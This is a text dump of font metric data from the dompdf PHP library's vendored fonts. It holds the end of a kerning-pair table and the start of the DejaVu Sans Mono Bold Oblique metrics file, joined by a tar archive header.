KPX T Oacute -18
KPX T Ocircumflex -18
KPX T Odieresis -18
KPX T Ograve -18
KPX T Ohungarumlaut -18
KPX T Omacron -18
KPX T Oslash -18
KPX T Otilde -18
KPX T a -80
KPX T aacute -80
KPX T abreve -80
KPX T acircumflex -80
KPX T adieresis -40
KPX T agrave -40
KPX T amacron -40
KPX T aogonek -80
KPX T aring -80
KPX T atilde -40
KPX T colon -50
KPX T comma -74
KPX T e -70
KPX T eacute -70
KPX T ecaron -70
KPX T ecircumflex -70
KPX T edieresis -30
KPX T edotaccent -70
KPX T egrave -70
KPX T emacron -30
KPX T eogonek -70
KPX T hyphen -92
KPX T i -35
KPX T iacute -35
KPX T iogonek -35
KPX T o -80
KPX T oacute -80
KPX T ocircumflex -80
KPX T odieresis -80
KPX T ograve -80
KPX T ohungarumlaut -80
KPX T omacron -80
KPX T oslash -80
KPX T otilde -80
KPX T period -74
KPX T r -35
KPX T racute -35
KPX T rcaron -35
KPX T rcommaaccent -35
KPX T semicolon -55
KPX T u -45
KPX T uacute -45
KPX T ucircumflex -45
KPX T udieresis -45
KPX T ugrave -45
KPX T uhungarumlaut -45
KPX T umacron -45
KPX T uogonek -45
KPX T uring -45
KPX T w -80
KPX T y -80
KPX T yacute -80
KPX T ydieresis -80
KPX Tcaron A -93
KPX Tcaron Aacute -93
KPX Tcaron Abreve -93
KPX Tcaron Acircumflex -93
KPX Tcaron Adieresis -93
KPX Tcaron Agrave -93
KPX Tcaron Amacron -93
KPX Tcaron Aogonek -93
KPX Tcaron Aring -93
KPX Tcaron Atilde -93
KPX Tcaron O -18
KPX Tcaron Oacute -18
KPX Tcaron Ocircumflex -18
KPX Tcaron Odieresis -18
KPX Tcaron Ograve -18
KPX Tcaron Ohungarumlaut -18
KPX Tcaron Omacron -18
KPX Tcaron Oslash -18
KPX Tcaron Otilde -18
KPX Tcaron a -80
KPX Tcaron aacute -80
KPX Tcaron abreve -80
KPX Tcaron acircumflex -80
KPX Tcaron adieresis -40
KPX Tcaron agrave -40
KPX Tcaron amacron -40
KPX Tcaron aogonek -80
KPX Tcaron aring -80
KPX Tcaron atilde -40
KPX Tcaron colon -50
KPX Tcaron comma -74
KPX Tcaron e -70
KPX Tcaron eacute -70
KPX Tcaron ecaron -70
KPX Tcaron ecircumflex -30
KPX Tcaron edieresis -30
KPX Tcaron edotaccent -70
KPX Tcaron egrave -70
KPX Tcaron emacron -30
KPX Tcaron eogonek -70
KPX Tcaron hyphen -92
KPX Tcaron i -35
KPX Tcaron iacute -35
KPX Tcaron iogonek -35
KPX Tcaron o -80
KPX Tcaron oacute -80
KPX Tcaron ocircumflex -80
KPX Tcaron odieresis -80
KPX Tcaron ograve -80
KPX Tcaron ohungarumlaut -80
KPX Tcaron omacron -80
KPX Tcaron oslash -80
KPX Tcaron otilde -80
KPX Tcaron period -74
KPX Tcaron r -35
KPX Tcaron racute -35
KPX Tcaron rcaron -35
KPX Tcaron rcommaaccent -35
KPX Tcaron semicolon -55
KPX Tcaron u -45
KPX Tcaron uacute -45
KPX Tcaron ucircumflex -45
KPX Tcaron udieresis -45
KPX Tcaron ugrave -45
KPX Tcaron uhungarumlaut -45
KPX Tcaron umacron -45
KPX Tcaron uogonek -45
KPX Tcaron uring -45
KPX Tcaron w -80
KPX Tcaron y -80
KPX Tcaron yacute -80
KPX Tcaron ydieresis -80
KPX Tcommaaccent A -93
KPX Tcommaaccent Aacute -93
KPX Tcommaaccent Abreve -93
KPX Tcommaaccent Acircumflex -93
KPX Tcommaaccent Adieresis -93
KPX Tcommaaccent Agrave -93
KPX Tcommaaccent Amacron -93
KPX Tcommaaccent Aogonek -93
KPX Tcommaaccent Aring -93
KPX Tcommaaccent Atilde -93
KPX Tcommaaccent O -18
KPX Tcommaaccent Oacute -18
KPX Tcommaaccent Ocircumflex -18
KPX Tcommaaccent Odieresis -18
KPX Tcommaaccent Ograve -18
KPX Tcommaaccent Ohungarumlaut -18
KPX Tcommaaccent Omacron -18
KPX Tcommaaccent Oslash -18
KPX Tcommaaccent Otilde -18
KPX Tcommaaccent a -80
KPX Tcommaaccent aacute -80
KPX Tcommaaccent abreve -80
KPX Tcommaaccent acircumflex -80
KPX Tcommaaccent adieresis -40
KPX Tcommaaccent agrave -40
KPX Tcommaaccent amacron -40
KPX Tcommaaccent aogonek -80
KPX Tcommaaccent aring -80
KPX Tcommaaccent atilde -40
KPX Tcommaaccent colon -50
KPX Tcommaaccent comma -74
KPX Tcommaaccent e -70
KPX Tcommaaccent eacute -70
KPX Tcommaaccent ecaron -70
KPX Tcommaaccent ecircumflex -30
KPX Tcommaaccent edieresis -30
KPX Tcommaaccent edotaccent -70
KPX Tcommaaccent egrave -30
KPX Tcommaaccent emacron -70
KPX Tcommaaccent eogonek -70
KPX Tcommaaccent hyphen -92
KPX Tcommaaccent i -35
KPX Tcommaaccent iacute -35
KPX Tcommaaccent iogonek -35
KPX Tcommaaccent o -80
KPX Tcommaaccent oacute -80
KPX Tcommaaccent ocircumflex -80
KPX Tcommaaccent odieresis -80
KPX Tcommaaccent ograve -80
KPX Tcommaaccent ohungarumlaut -80
KPX Tcommaaccent omacron -80
KPX Tcommaaccent oslash -80
KPX Tcommaaccent otilde -80
KPX Tcommaaccent period -74
KPX Tcommaaccent r -35
KPX Tcommaaccent racute -35
KPX Tcommaaccent rcaron -35
KPX Tcommaaccent rcommaaccent -35
KPX Tcommaaccent semicolon -55
KPX Tcommaaccent u -45
KPX Tcommaaccent uacute -45
KPX Tcommaaccent ucircumflex -45
KPX Tcommaaccent udieresis -45
KPX Tcommaaccent ugrave -45
KPX Tcommaaccent uhungarumlaut -45
KPX Tcommaaccent umacron -45
KPX Tcommaaccent uogonek -45
KPX Tcommaaccent uring -45
KPX Tcommaaccent w -80
KPX Tcommaaccent y -80
KPX Tcommaaccent yacute -80
KPX Tcommaaccent ydieresis -80
KPX U A -40
KPX U Aacute -40
KPX U Abreve -40
KPX U Acircumflex -40
KPX U Adieresis -40
KPX U Agrave -40
KPX U Amacron -40
KPX U Aogonek -40
KPX U Aring -40
KPX U Atilde -40
KPX Uacute A -40
KPX Uacute Aacute -40
KPX Uacute Abreve -40
KPX Uacute Acircumflex -40
KPX Uacute Adieresis -40
KPX Uacute Agrave -40
KPX Uacute Amacron -40
KPX Uacute Aogonek -40
KPX Uacute Aring -40
KPX Uacute Atilde -40
KPX Ucircumflex A -40
KPX Ucircumflex Aacute -40
KPX Ucircumflex Abreve -40
KPX Ucircumflex Acircumflex -40
KPX Ucircumflex Adieresis -40
KPX Ucircumflex Agrave -40
KPX Ucircumflex Amacron -40
KPX Ucircumflex Aogonek -40
KPX Ucircumflex Aring -40
KPX Ucircumflex Atilde -40
KPX Udieresis A -40
KPX Udieresis Aacute -40
KPX Udieresis Abreve -40
KPX Udieresis Acircumflex -40
KPX Udieresis Adieresis -40
KPX Udieresis Agrave -40
KPX Udieresis Amacron -40
KPX Udieresis Aogonek -40
KPX Udieresis Aring -40
KPX Udieresis Atilde -40
KPX Ugrave A -40
KPX Ugrave Aacute -40
KPX Ugrave Abreve -40
KPX Ugrave Acircumflex -40
KPX Ugrave Adieresis -40
KPX Ugrave Agrave -40
KPX Ugrave Amacron -40
KPX Ugrave Aogonek -40
KPX Ugrave Aring -40
KPX Ugrave Atilde -40
KPX Uhungarumlaut A -40
KPX Uhungarumlaut Aacute -40
KPX Uhungarumlaut Abreve -40
KPX Uhungarumlaut Acircumflex -40
KPX Uhungarumlaut Adieresis -40
KPX Uhungarumlaut Agrave -40
KPX Uhungarumlaut Amacron -40
KPX Uhungarumlaut Aogonek -40
KPX Uhungarumlaut Aring -40
KPX Uhungarumlaut Atilde -40
KPX Umacron A -40
KPX Umacron Aacute -40
KPX Umacron Abreve -40
KPX Umacron Acircumflex -40
KPX Umacron Adieresis -40
KPX Umacron Agrave -40
KPX Umacron Amacron -40
KPX Umacron Aogonek -40
KPX Umacron Aring -40
KPX Umacron Atilde -40
KPX Uogonek A -40
KPX Uogonek Aacute -40
KPX Uogonek Abreve -40
KPX Uogonek Acircumflex -40
KPX Uogonek Adieresis -40
KPX Uogonek Agrave -40
KPX Uogonek Amacron -40
KPX Uogonek Aogonek -40
KPX Uogonek Aring -40
KPX Uogonek Atilde -40
KPX Uring A -40
KPX Uring Aacute -40
KPX Uring Abreve -40
KPX Uring Acircumflex -40
KPX Uring Adieresis -40
KPX Uring Agrave -40
KPX Uring Amacron -40
KPX Uring Aogonek -40
KPX Uring Aring -40
KPX Uring Atilde -40
KPX V A -135
KPX V Aacute -135
KPX V Abreve -135
KPX V Acircumflex -135
KPX V Adieresis -135
KPX V Agrave -135
KPX V Amacron -135
KPX V Aogonek -135
KPX V Aring -135
KPX V Atilde -135
KPX V G -15
KPX V Gbreve -15
KPX V Gcommaaccent -15
KPX V O -40
KPX V Oacute -40
KPX V Ocircumflex -40
KPX V Odieresis -40
KPX V Ograve -40
KPX V Ohungarumlaut -40
KPX V Omacron -40
KPX V Oslash -40
KPX V Otilde -40
KPX V a -111
KPX V aacute -111
KPX V abreve -111
KPX V acircumflex -71
KPX V adieresis -71
KPX V agrave -71
KPX V amacron -71
KPX V aogonek -111
KPX V aring -111
KPX V atilde -71
KPX V colon -74
KPX V comma -129
KPX V e -111
KPX V eacute -111
KPX V ecaron -71
KPX V ecircumflex -71
KPX V edieresis -71
KPX V edotaccent -111
KPX V egrave -71
KPX V emacron -71
KPX V eogonek -111
KPX V hyphen -100
KPX V i -60
KPX V iacute -60
KPX V icircumflex -20
KPX V idieresis -20
KPX V igrave -20
KPX V imacron -20
KPX V iogonek -60
KPX V o -129
KPX V oacute -129
KPX V ocircumflex -129
KPX V odieresis -89
KPX V ograve -89
KPX V ohungarumlaut -129
KPX V omacron -89
KPX V oslash -129
KPX V otilde -89
KPX V period -129
KPX V semicolon -74
KPX V u -75
KPX V uacute -75
KPX V ucircumflex -75
KPX V udieresis -75
KPX V ugrave -75
KPX V uhungarumlaut -75
KPX V umacron -75
KPX V uogonek -75
KPX V uring -75
KPX W A -120
KPX W Aacute -120
KPX W Abreve -120
KPX W Acircumflex -120
KPX W Adieresis -120
KPX W Agrave -120
KPX W Amacron -120
KPX W Aogonek -120
KPX W Aring -120
KPX W Atilde -120
KPX W O -10
KPX W Oacute -10
KPX W Ocircumflex -10
KPX W Odieresis -10
KPX W Ograve -10
KPX W Ohungarumlaut -10
KPX W Omacron -10
KPX W Oslash -10
KPX W Otilde -10
KPX W a -80
KPX W aacute -80
KPX W abreve -80
KPX W acircumflex -80
KPX W adieresis -80
KPX W agrave -80
KPX W amacron -80
KPX W aogonek -80
KPX W aring -80
KPX W atilde -80
KPX W colon -37
KPX W comma -92
KPX W e -80
KPX W eacute -80
KPX W ecaron -80
KPX W ecircumflex -80
KPX W edieresis -40
KPX W edotaccent -80
KPX W egrave -40
KPX W emacron -40
KPX W eogonek -80
KPX W hyphen -65
KPX W i -40
KPX W iacute -40
KPX W iogonek -40
KPX W o -80
KPX W oacute -80
KPX W ocircumflex -80
KPX W odieresis -80
KPX W ograve -80
KPX W ohungarumlaut -80
KPX W omacron -80
KPX W oslash -80
KPX W otilde -80
KPX W period -92
KPX W semicolon -37
KPX W u -50
KPX W uacute -50
KPX W ucircumflex -50
KPX W udieresis -50
KPX W ugrave -50
KPX W uhungarumlaut -50
KPX W umacron -50
KPX W uogonek -50
KPX W uring -50
KPX W y -73
KPX W yacute -73
KPX W ydieresis -73
KPX Y A -120
KPX Y Aacute -120
KPX Y Abreve -120
KPX Y Acircumflex -120
KPX Y Adieresis -120
KPX Y Agrave -120
KPX Y Amacron -120
KPX Y Aogonek -120
KPX Y Aring -120
KPX Y Atilde -120
KPX Y O -30
KPX Y Oacute -30
KPX Y Ocircumflex -30
KPX Y Odieresis -30
KPX Y Ograve -30
KPX Y Ohungarumlaut -30
KPX Y Omacron -30
KPX Y Oslash -30
KPX Y Otilde -30
KPX Y a -100
KPX Y aacute -100
KPX Y abreve -100
KPX Y acircumflex -100
KPX Y adieresis -60
KPX Y agrave -60
KPX Y amacron -60
KPX Y aogonek -100
KPX Y aring -100
KPX Y atilde -60
KPX Y colon -92
KPX Y comma -129
KPX Y e -100
KPX Y eacute -100
KPX Y ecaron -100
KPX Y ecircumflex -100
KPX Y edieresis -60
KPX Y edotaccent -100
KPX Y egrave -60
KPX Y emacron -60
KPX Y eogonek -100
KPX Y hyphen -111
KPX Y i -55
KPX Y iacute -55
KPX Y iogonek -55
KPX Y o -110
KPX Y oacute -110
KPX Y ocircumflex -110
KPX Y odieresis -70
KPX Y ograve -70
KPX Y ohungarumlaut -110
KPX Y omacron -70
KPX Y oslash -110
KPX Y otilde -70
KPX Y period -129
KPX Y semicolon -92
KPX Y u -111
KPX Y uacute -111
KPX Y ucircumflex -111
KPX Y udieresis -71
KPX Y ugrave -71
KPX Y uhungarumlaut -111
KPX Y umacron -71
KPX Y uogonek -111
KPX Y uring -111
KPX Yacute A -120
KPX Yacute Aacute -120
KPX Yacute Abreve -120
KPX Yacute Acircumflex -120
KPX Yacute Adieresis -120
KPX Yacute Agrave -120
KPX Yacute Amacron -120
KPX Yacute Aogonek -120
KPX Yacute Aring -120
KPX Yacute Atilde -120
KPX Yacute O -30
KPX Yacute Oacute -30
KPX Yacute Ocircumflex -30
KPX Yacute Odieresis -30
KPX Yacute Ograve -30
KPX Yacute Ohungarumlaut -30
KPX Yacute Omacron -30
KPX Yacute Oslash -30
KPX Yacute Otilde -30
KPX Yacute a -100
KPX Yacute aacute -100
KPX Yacute abreve -100
KPX Yacute acircumflex -100
KPX Yacute adieresis -60
KPX Yacute agrave -60
KPX Yacute amacron -60
KPX Yacute aogonek -100
KPX Yacute aring -100
KPX Yacute atilde -60
KPX Yacute colon -92
KPX Yacute comma -129
KPX Yacute e -100
KPX Yacute eacute -100
KPX Yacute ecaron -100
KPX Yacute ecircumflex -100
KPX Yacute edieresis -60
KPX Yacute edotaccent -100
KPX Yacute egrave -60
KPX Yacute emacron -60
KPX Yacute eogonek -100
KPX Yacute hyphen -111
KPX Yacute i -55
KPX Yacute iacute -55
KPX Yacute iogonek -55
KPX Yacute o -110
KPX Yacute oacute -110
KPX Yacute ocircumflex -110
KPX Yacute odieresis -70
KPX Yacute ograve -70
KPX Yacute ohungarumlaut -110
KPX Yacute omacron -70
KPX Yacute oslash -110
KPX Yacute otilde -70
KPX Yacute period -129
KPX Yacute semicolon -92
KPX Yacute u -111
KPX Yacute uacute -111
KPX Yacute ucircumflex -111
KPX Yacute udieresis -71
KPX Yacute ugrave -71
KPX Yacute uhungarumlaut -111
KPX Yacute umacron -71
KPX Yacute uogonek -111
KPX Yacute uring -111
KPX Ydieresis A -120
KPX Ydieresis Aacute -120
KPX Ydieresis Abreve -120
KPX Ydieresis Acircumflex -120
KPX Ydieresis Adieresis -120
KPX Ydieresis Agrave -120
KPX Ydieresis Amacron -120
KPX Ydieresis Aogonek -120
KPX Ydieresis Aring -120
KPX Ydieresis Atilde -120
KPX Ydieresis O -30
KPX Ydieresis Oacute -30
KPX Ydieresis Ocircumflex -30
KPX Ydieresis Odieresis -30
KPX Ydieresis Ograve -30
KPX Ydieresis Ohungarumlaut -30
KPX Ydieresis Omacron -30
KPX Ydieresis Oslash -30
KPX Ydieresis Otilde -30
KPX Ydieresis a -100
KPX Ydieresis aacute -100
KPX Ydieresis abreve -100
KPX Ydieresis acircumflex -100
KPX Ydieresis adieresis -60
KPX Ydieresis agrave -60
KPX Ydieresis amacron -60
KPX Ydieresis aogonek -100
KPX Ydieresis aring -100
KPX Ydieresis atilde -100
KPX Ydieresis colon -92
KPX Ydieresis comma -129
KPX Ydieresis e -100
KPX Ydieresis eacute -100
KPX Ydieresis ecaron -100
KPX Ydieresis ecircumflex -100
KPX Ydieresis edieresis -60
KPX Ydieresis edotaccent -100
KPX Ydieresis egrave -60
KPX Ydieresis emacron -60
KPX Ydieresis eogonek -100
KPX Ydieresis hyphen -111
KPX Ydieresis i -55
KPX Ydieresis iacute -55
KPX Ydieresis iogonek -55
KPX Ydieresis o -110
KPX Ydieresis oacute -110
KPX Ydieresis ocircumflex -110
KPX Ydieresis odieresis -70
KPX Ydieresis ograve -70
KPX Ydieresis ohungarumlaut -110
KPX Ydieresis omacron -70
KPX Ydieresis oslash -110
KPX Ydieresis otilde -70
KPX Ydieresis period -129
KPX Ydieresis semicolon -92
KPX Ydieresis u -111
KPX Ydieresis uacute -111
KPX Ydieresis ucircumflex -111
KPX Ydieresis udieresis -71
KPX Ydieresis ugrave -71
KPX Ydieresis uhungarumlaut -111
KPX Ydieresis umacron -71
KPX Ydieresis uogonek -111
KPX Ydieresis uring -111
KPX a v -20
KPX a w -15
KPX aacute v -20
KPX aacute w -15
KPX abreve v -20
KPX abreve w -15
KPX acircumflex v -20
KPX acircumflex w -15
KPX adieresis v -20
KPX adieresis w -15
KPX agrave v -20
KPX agrave w -15
KPX amacron v -20
KPX amacron w -15
KPX aogonek v -20
KPX aogonek w -15
KPX aring v -20
KPX aring w -15
KPX atilde v -20
KPX atilde w -15
KPX b period -40
KPX b u -20
KPX b uacute -20
KPX b ucircumflex -20
KPX b udieresis -20
KPX b ugrave -20
KPX b uhungarumlaut -20
KPX b umacron -20
KPX b uogonek -20
KPX b uring -20
KPX b v -15
KPX c y -15
KPX c yacute -15
KPX c ydieresis -15
KPX cacute y -15
KPX cacute yacute -15
KPX cacute ydieresis -15
KPX ccaron y -15
KPX ccaron yacute -15
KPX ccaron ydieresis -15
KPX ccedilla y -15
KPX ccedilla yacute -15
KPX ccedilla ydieresis -15
KPX comma quotedblright -70
KPX comma quoteright -70
KPX e g -15
KPX e gbreve -15
KPX e gcommaaccent -15
KPX e v -25
KPX e w -25
KPX e x -15
KPX e y -15
KPX e yacute -15
KPX e ydieresis -15
KPX eacute g -15
KPX eacute gbreve -15
KPX eacute gcommaaccent -15
KPX eacute v -25
KPX eacute w -25
KPX eacute x -15
KPX eacute y -15
KPX eacute yacute -15
KPX eacute ydieresis -15
KPX ecaron g -15
KPX ecaron gbreve -15
KPX ecaron gcommaaccent -15
KPX ecaron v -25
KPX ecaron w -25
KPX ecaron x -15
KPX ecaron y -15
KPX ecaron yacute -15
KPX ecaron ydieresis -15
KPX ecircumflex g -15
KPX ecircumflex gbreve -15
KPX ecircumflex gcommaaccent -15
KPX ecircumflex v -25
KPX ecircumflex w -25
KPX ecircumflex x -15
KPX ecircumflex y -15
KPX ecircumflex yacute -15
KPX ecircumflex ydieresis -15
KPX edieresis g -15
KPX edieresis gbreve -15
KPX edieresis gcommaaccent -15
KPX edieresis v -25
KPX edieresis w -25
KPX edieresis x -15
KPX edieresis y -15
KPX edieresis yacute -15
KPX edieresis ydieresis -15
KPX edotaccent g -15
KPX edotaccent gbreve -15
KPX edotaccent gcommaaccent -15
KPX edotaccent v -25
KPX edotaccent w -25
KPX edotaccent x -15
KPX edotaccent y -15
KPX edotaccent yacute -15
KPX edotaccent ydieresis -15
KPX egrave g -15
KPX egrave gbreve -15
KPX egrave gcommaaccent -15
KPX egrave v -25
KPX egrave w -25
KPX egrave x -15
KPX egrave y -15
KPX egrave yacute -15
KPX egrave ydieresis -15
KPX emacron g -15
KPX emacron gbreve -15
KPX emacron gcommaaccent -15
KPX emacron v -25
KPX emacron w -25
KPX emacron x -15
KPX emacron y -15
KPX emacron yacute -15
KPX emacron ydieresis -15
KPX eogonek g -15
KPX eogonek gbreve -15
KPX eogonek gcommaaccent -15
KPX eogonek v -25
KPX eogonek w -25
KPX eogonek x -15
KPX eogonek y -15
KPX eogonek yacute -15
KPX eogonek ydieresis -15
KPX f a -10
KPX f aacute -10
KPX f abreve -10
KPX f acircumflex -10
KPX f adieresis -10
KPX f agrave -10
KPX f amacron -10
KPX f aogonek -10
KPX f aring -10
KPX f atilde -10
KPX f dotlessi -50
KPX f f -25
KPX f i -20
KPX f iacute -20
KPX f quoteright 55
KPX g a -5
KPX g aacute -5
KPX g abreve -5
KPX g acircumflex -5
KPX g adieresis -5
KPX g agrave -5
KPX g amacron -5
KPX g aogonek -5
KPX g aring -5
KPX g atilde -5
KPX gbreve a -5
KPX gbreve aacute -5
KPX gbreve abreve -5
KPX gbreve acircumflex -5
KPX gbreve adieresis -5
KPX gbreve agrave -5
KPX gbreve amacron -5
KPX gbreve aogonek -5
KPX gbreve aring -5
KPX gbreve atilde -5
KPX gcommaaccent a -5
KPX gcommaaccent aacute -5
KPX gcommaaccent abreve -5
KPX gcommaaccent acircumflex -5
KPX gcommaaccent adieresis -5
KPX gcommaaccent agrave -5
KPX gcommaaccent amacron -5
KPX gcommaaccent aogonek -5
KPX gcommaaccent aring -5
KPX gcommaaccent atilde -5
KPX h y -5
KPX h yacute -5
KPX h ydieresis -5
KPX i v -25
KPX iacute v -25
KPX icircumflex v -25
KPX idieresis v -25
KPX igrave v -25
KPX imacron v -25
KPX iogonek v -25
KPX k e -10
KPX k eacute -10
KPX k ecaron -10
KPX k ecircumflex -10
KPX k edieresis -10
KPX k edotaccent -10
KPX k egrave -10
KPX k emacron -10
KPX k eogonek -10
KPX k o -10
KPX k oacute -10
KPX k ocircumflex -10
KPX k odieresis -10
KPX k ograve -10
KPX k ohungarumlaut -10
KPX k omacron -10
KPX k oslash -10
KPX k otilde -10
KPX k y -15
KPX k yacute -15
KPX k ydieresis -15
KPX kcommaaccent e -10
KPX kcommaaccent eacute -10
KPX kcommaaccent ecaron -10
KPX kcommaaccent ecircumflex -10
KPX kcommaaccent edieresis -10
KPX kcommaaccent edotaccent -10
KPX kcommaaccent egrave -10
KPX kcommaaccent emacron -10
KPX kcommaaccent eogonek -10
KPX kcommaaccent o -10
KPX kcommaaccent oacute -10
KPX kcommaaccent ocircumflex -10
KPX kcommaaccent odieresis -10
KPX kcommaaccent ograve -10
KPX kcommaaccent ohungarumlaut -10
KPX kcommaaccent omacron -10
KPX kcommaaccent oslash -10
KPX kcommaaccent otilde -10
KPX kcommaaccent y -15
KPX kcommaaccent yacute -15
KPX kcommaaccent ydieresis -15
KPX l w -10
KPX lacute w -10
KPX lcommaaccent w -10
KPX lslash w -10
KPX n v -40
KPX n y -15
KPX n yacute -15
KPX n ydieresis -15
KPX nacute v -40
KPX nacute y -15
KPX nacute yacute -15
KPX nacute ydieresis -15
KPX ncaron v -40
KPX ncaron y -15
KPX ncaron yacute -15
KPX ncaron ydieresis -15
KPX ncommaaccent v -40
KPX ncommaaccent y -15
KPX ncommaaccent yacute -15
KPX ncommaaccent ydieresis -15
KPX ntilde v -40
KPX ntilde y -15
KPX ntilde yacute -15
KPX ntilde ydieresis -15
KPX o v -15
KPX o w -25
KPX o y -10
KPX o yacute -10
KPX o ydieresis -10
KPX oacute v -15
KPX oacute w -25
KPX oacute y -10
KPX oacute yacute -10
KPX oacute ydieresis -10
KPX ocircumflex v -15
KPX ocircumflex w -25
KPX ocircumflex y -10
KPX ocircumflex yacute -10
KPX ocircumflex ydieresis -10
KPX odieresis v -15
KPX odieresis w -25
KPX odieresis y -10
KPX odieresis yacute -10
KPX odieresis ydieresis -10
KPX ograve v -15
KPX ograve w -25
KPX ograve y -10
KPX ograve yacute -10
KPX ograve ydieresis -10
KPX ohungarumlaut v -15
KPX ohungarumlaut w -25
KPX ohungarumlaut y -10
KPX ohungarumlaut yacute -10
KPX ohungarumlaut ydieresis -10
KPX omacron v -15
KPX omacron w -25
KPX omacron y -10
KPX omacron yacute -10
KPX omacron ydieresis -10
KPX oslash v -15
KPX oslash w -25
KPX oslash y -10
KPX oslash yacute -10
KPX oslash ydieresis -10
KPX otilde v -15
KPX otilde w -25
KPX otilde y -10
KPX otilde yacute -10
KPX otilde ydieresis -10
KPX p y -10
KPX p yacute -10
KPX p ydieresis -10
KPX period quotedblright -70
KPX period quoteright -70
KPX quotedblleft A -80
KPX quotedblleft Aacute -80
KPX quotedblleft Abreve -80
KPX quotedblleft Acircumflex -80
KPX quotedblleft Adieresis -80
KPX quotedblleft Agrave -80
KPX quotedblleft Amacron -80
KPX quotedblleft Aogonek -80
KPX quotedblleft Aring -80
KPX quotedblleft Atilde -80
KPX quoteleft A -80
KPX quoteleft Aacute -80
KPX quoteleft Abreve -80
KPX quoteleft Acircumflex -80
KPX quoteleft Adieresis -80
KPX quoteleft Agrave -80
KPX quoteleft Amacron -80
KPX quoteleft Aogonek -80
KPX quoteleft Aring -80
KPX quoteleft Atilde -80
KPX quoteleft quoteleft -74
KPX quoteright d -50
KPX quoteright dcroat -50
KPX quoteright l -10
KPX quoteright lacute -10
KPX quoteright lcommaaccent -10
KPX quoteright lslash -10
KPX quoteright quoteright -74
KPX quoteright r -50
KPX quoteright racute -50
KPX quoteright rcaron -50
KPX quoteright rcommaaccent -50
KPX quoteright s -55
KPX quoteright sacute -55
KPX quoteright scaron -55
KPX quoteright scedilla -55
KPX quoteright scommaaccent -55
KPX quoteright space -74
KPX quoteright t -18
KPX quoteright tcommaaccent -18
KPX quoteright v -50
KPX r comma -40
KPX r g -18
KPX r gbreve -18
KPX r gcommaaccent -18
KPX r hyphen -20
KPX r period -55
KPX racute comma -40
KPX racute g -18
KPX racute gbreve -18
KPX racute gcommaaccent -18
KPX racute hyphen -20
KPX racute period -55
KPX rcaron comma -40
KPX rcaron g -18
KPX rcaron gbreve -18
KPX rcaron gcommaaccent -18
KPX rcaron hyphen -20
KPX rcaron period -55
KPX rcommaaccent comma -40
KPX rcommaaccent g -18
KPX rcommaaccent gbreve -18
KPX rcommaaccent gcommaaccent -18
KPX rcommaaccent hyphen -20
KPX rcommaaccent period -55
KPX space A -55
KPX space Aacute -55
KPX space Abreve -55
KPX space Acircumflex -55
KPX space Adieresis -55
KPX space Agrave -55
KPX space Amacron -55
KPX space Aogonek -55
KPX space Aring -55
KPX space Atilde -55
KPX space T -18
KPX space Tcaron -18
KPX space Tcommaaccent -18
KPX space V -50
KPX space W -30
KPX space Y -90
KPX space Yacute -90
KPX space Ydieresis -90
KPX v a -25
KPX v aacute -25
KPX v abreve -25
KPX v acircumflex -25
KPX v adieresis -25
KPX v agrave -25
KPX v amacron -25
KPX v aogonek -25
KPX v aring -25
KPX v atilde -25
KPX v comma -65
KPX v e -15
KPX v eacute -15
KPX v ecaron -15
KPX v ecircumflex -15
KPX v edieresis -15
KPX v edotaccent -15
KPX v egrave -15
KPX v emacron -15
KPX v eogonek -15
KPX v o -20
KPX v oacute -20
KPX v ocircumflex -20
KPX v odieresis -20
KPX v ograve -20
KPX v ohungarumlaut -20
KPX v omacron -20
KPX v oslash -20
KPX v otilde -20
KPX v period -65
KPX w a -10
KPX w aacute -10
KPX w abreve -10
KPX w acircumflex -10
KPX w adieresis -10
KPX w agrave -10
KPX w amacron -10
KPX w aogonek -10
KPX w aring -10
KPX w atilde -10
KPX w comma -65
KPX w o -10
KPX w oacute -10
KPX w ocircumflex -10
KPX w odieresis -10
KPX w ograve -10
KPX w ohungarumlaut -10
KPX w omacron -10
KPX w oslash -10
KPX w otilde -10
KPX w period -65
KPX x e -15
KPX x eacute -15
KPX x ecaron -15
KPX x ecircumflex -15
KPX x edieresis -15
KPX x edotaccent -15
KPX x egrave -15
KPX x emacron -15
KPX x eogonek -15
KPX y comma -65
KPX y period -65
KPX yacute comma -65
KPX yacute period -65
KPX ydieresis comma -65
KPX ydieresis period -65
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSansMono-BoldOblique.ufm000066600000277514151150443000020243 0ustar00StartFontMetrics 4.1
Notice Converted by PHP-font-lib
Comment https://github.com/PhenX/php-font-lib
EncodingScheme FontSpecific
FontName DejaVu Sans Mono
FontSubfamily Bold Oblique
UniqueID DejaVu Sans Mono Bold Oblique
FullName DejaVu Sans Mono Bold Oblique
Version Version 2.37
PostScriptName DejaVuSansMono-BoldOblique
Manufacturer DejaVu fonts team
FontVendorURL http://dejavu.sourceforge.net
LicenseURL http://dejavu.sourceforge.net/wiki/index.php/License
Weight Bold
ItalicAngle -11
IsFixedPitch true
UnderlineThickness 44
UnderlinePosition -63
FontHeightOffset 0
Ascender 928
Descender -236
FontBBox -425 -394 808 1008
StartCharMetrics 2711
U 32 ; WX 602 ; N space ; G 3
U 33 ; WX 602 ; N exclam ; G 4
U 34 ; WX 602 ; N quotedbl ; G 5
U 35 ; WX 602 ; N numbersign ; G 6
U 36 ; WX 602 ; N dollar ; G 7
U 37 ; WX 602 ; N percent ; G 8
U 38 ; WX 602 ; N ampersand ; G 9
U 39 ; WX 602 ; N quotesingle ; G 10
U 40 ; WX 602 ; N parenleft ; G 11
U 41 ; WX 602 ; N parenright ; G 12
U 42 ; WX 602 ; N asterisk ; G 13
U 43 ; WX 602 ; N plus ; G 14
U 44 ; WX 602 ; N comma ; G 15
U 45 ; WX 602 ; N hyphen ; G 16
U 46 ; WX 602 ; N period ; G 17
U 47 ; WX 602 ; N slash ; G 18
U 48 ; WX 602 ; N zero ; G 19
U 49 ; WX 602 ; N one ; G 20
U 50 ; WX 602 ; N two ; G 21
U 51 ; WX 602 ; N three ; G 22
U 52 ; WX 602 ; N four ; G 23
U 53 ; WX 602 ; N five ; G 24
U 54 ; WX 602 ; N six ; G 25
U 55 ; WX 602 ; N seven ; G 26
U 56 ; WX 602 ; N eight ; G 27
U 57 ; WX 602 ; N nine ; G 28
U 58 ; WX 602 ; N colon ; G 29
U 59 ; WX 602 ; N semicolon ; G 30
U 60 ; WX 602 ; N less ; G 31
U 61 ; WX 602 ; N equal ; G 32
U 62 ; WX 602 ; N greater ; G 33
U 63 ; WX 602 ; N question ; G 34
U 64 ; WX 602 ; N at ; G 35
U 65 ; WX 602 ; N A ; G 36
U 66 ; WX 602 ; N B ; G 37
U 67 ; WX 602 ; N C ; G 38
